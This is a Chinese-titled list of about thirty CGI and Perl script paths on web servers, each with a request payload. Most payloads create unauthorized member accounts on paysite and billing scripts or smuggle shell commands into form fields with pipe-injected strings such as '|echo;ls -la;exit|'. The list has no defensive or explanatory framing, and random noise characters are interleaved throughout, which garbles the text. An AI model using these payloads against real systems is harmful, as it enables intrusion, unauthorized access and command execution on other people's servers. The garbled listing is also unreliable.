Cgi-bin 30个漏洞＋使用方法

admin

==============================
! [& T2 V/ x6 W, b( r
/smspass.pl
username=username&password=password
6 R5 {& F% l; I4 B+ m* H
/index.cgi
wei=ren&gen=command
4 I8 Q) ]. W- ~" L
/passmaster.cgi
, s) b* Q7 r9 M8 S  M$ KAction=Add&Username=Username&Password=Password

/accountcreate.cgi
+ j4 X; I$ R0 Q: y7 L" o7 v# R1 susername=username&password=password&ref1=|echo;ls|
; J9 s4 [. d. Q' [. ^
/form.cgi
9 u; S' q, L, W9 Zname=xxxx&email=email&subject=xxxx&response=|echo;ls|
& \( Y' m: S' U
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
3 s% l8 b* h, x' P' r8 m6 buser=username&pass=Password&confirm=Password
$ I( Q, Y! Z9 ?% {  P1 h1 T3 [9 o
/ccbill-local.asp
( U% G4 N9 G5 ?2 p% z% M+ Upost_values=username:password
4 T9 G( e9 p7 |
/ j6 V  g0 ^2 R- G, q& d3 E2 I. ^( y/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
: R, }, q) n" \7 `. X
/af.cgi
1 b5 Z$ \# J! J3 N_browser_out=|echo;ls -la;exit;|

' O$ R" x" L0 T9 G* L! J' N, r: o/modify.cgi
username=username&password=password&expire=30

& |( e* U3 f% b4 a) ^8 T1 y/openjournal.cgi
/ M2 ]' `* w  G1 T$ ^- medit=1&ct=2&go=|echo;ls -al;exit|

7 n8 s1 {& b/ {8 q( m0 P% d/gx9passwd.cgi
cmd=ADD&user=username&pass=password

- b" i# a4 I- O, a/probecontrol.cgi
( L, }  `" O: B6 o# B" ?command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
& G/ s+ r* c( C$ e
! O! K# u: ~2 D( u/htadd.pl
' c* A) x, f5 J+ o2 V6 R9 W( Wconfigfile=|echo; ls -alt; exit
! H! H3 W, J# Z3 L/ s. \. I: A; T
# N! b* l9 x* }$ V( h/gx9passwd.cgi
cmd=ADD&user=username&pass=password
" w$ X* R% w1 K" v4 J
1 x9 c6 W  P: e6 Q' J0 u! p3 q/ibill*.pl
  T4 M" k1 N( |+ Jreqtype=add&authpwd=authpwd&username=username&password=password

+ \$ U% F4 `4 v- d0 _/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
) w1 I( \- z9 q6 v  ~
# H% p8 Q6 y1 `2 i1 U8 \/ g/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
& @' g- }! \- @: x* e# I
/usercontrol.cgi
command=enable&username=USER&password=PASS
- U3 q7 i( S; i5 h/ C$ h" z
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
8 Y7 h9 x8 B7 B; A$ U6 e+ K! M4 ]
/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
+ z3 e: O* f( `3 {4 C" K5 X/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

- l& h1 M' p/ u9 e' R/af.cgi
8 f/ H% }8 E0 v* w3 l: Y) Z' _  g/env.cgi
ADD+;echo;pwd;exit

6 i" Z/ X* v- }; }+ ~) h/count.cgi
pinfile=|echo;pwd;exit|
3 o6 k& {; w3 V/ y0 R. I2 Z( z5 l' q/ p
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
' y5 c. R- Q& x- W8 W6 Q5 `
0 f8 [, Z7 d& t/add.cgi
. V9 }7 }% k  Qusername=username&password=password&expire=30

! z! X5 @9 @% I# p' d$ r: F==============================